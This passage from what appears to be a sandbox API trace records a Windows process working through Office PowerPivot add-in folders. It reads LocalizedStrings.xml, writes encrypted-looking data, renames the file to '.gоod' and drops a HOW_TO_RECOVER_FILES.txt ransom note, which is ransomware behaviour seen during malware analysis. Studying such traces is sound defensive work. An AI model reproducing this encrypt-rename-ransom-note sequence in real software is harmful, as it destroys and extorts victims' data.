lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0268.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0268.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x3ad37a0 | out: lpFileInformation=0x3ad37a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1785)) returned 1 [0268.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0268.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0268.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0268.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0268.540] GetFileType (hFile=0x824) returned 0x1 [0268.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0268.541] GetFileType (hFile=0x824) returned 0x1 [0269.337] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0269.337] ReadFile (in: hFile=0x824, lpBuffer=0x3771fe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3771fe8*, lpNumberOfBytesRead=0x206ec9c8*=0x785, lpOverlapped=0x0) returned 1 [0269.337] CloseHandle (hObject=0x824) returned 1 [0270.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0270.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0270.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0270.189] GetFileType (hFile=0x828) returned 0x1 [0270.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0270.189] GetFileType (hFile=0x828) returned 0x1 [0270.189] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1785 [0270.190] WriteFile (in: hFile=0x828, lpBuffer=0x3893ae8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3893ae8*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0270.190] CloseHandle (hObject=0x828) returned 1 [0270.190] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0270.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0270.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0270.190] GetFileType (hFile=0x828) returned 0x1 [0270.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0270.190] GetFileType (hFile=0x828) returned 0x1 [0270.190] ReadFile (in: hFile=0x828, lpBuffer=0x3895df8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3895df8*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0270.218] CloseHandle (hObject=0x828) returned 1 [0270.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0270.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0270.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0270.218] GetFileType (hFile=0x828) returned 0x1 [0270.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0270.218] GetFileType (hFile=0x828) returned 0x1 [0270.218] WriteFile (in: hFile=0x828, lpBuffer=0x3894b00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3894b00*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0270.218] CloseHandle (hObject=0x828) returned 1 [0270.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0270.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0270.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0270.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9d45b3eb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1795)) returned 1 [0270.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0270.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml.gоod")) returned 1 [0270.221] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0270.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0270.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0270.222] GetFileType (hFile=0x828) returned 0x1 [0270.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0270.222] GetFileType (hFile=0x828) returned 0x1 [0270.222] WriteFile (in: hFile=0x828, lpBuffer=0x3915de0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3915de0*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0270.223] CloseHandle (hObject=0x828) returned 1 [0270.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0270.223] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr", lpFilePart=0x0) returned 0x51 [0270.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0270.224] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.224] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16736b69, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10de, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0270.224] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4caf7cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4caf7cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4caf7cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0270.224] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fa0ca2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fa0ca2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fa0ca2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0270.224] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0f23aa6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0270.224] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd55d11, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd55d11, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ff030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0270.224] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdee689, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0270.225] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e78ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e78ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e78ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d048, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0270.225] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x860e337, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x860e337, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0270.225] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5d437d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5d437d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5fa5d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0270.225] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0270.225] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0270.225] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0270.225] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61d7668, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0270.226] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf854e731, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0270.226] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2f2d53e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2f2d53e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0270.226] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0270.226] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0270.226] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0270.226] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f76153, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f76153, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0270.226] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0270.227] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0270.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0270.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0270.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0270.227] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr", lpFilePart=0x0) returned 0x51 [0270.227] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0270.227] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.227] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, 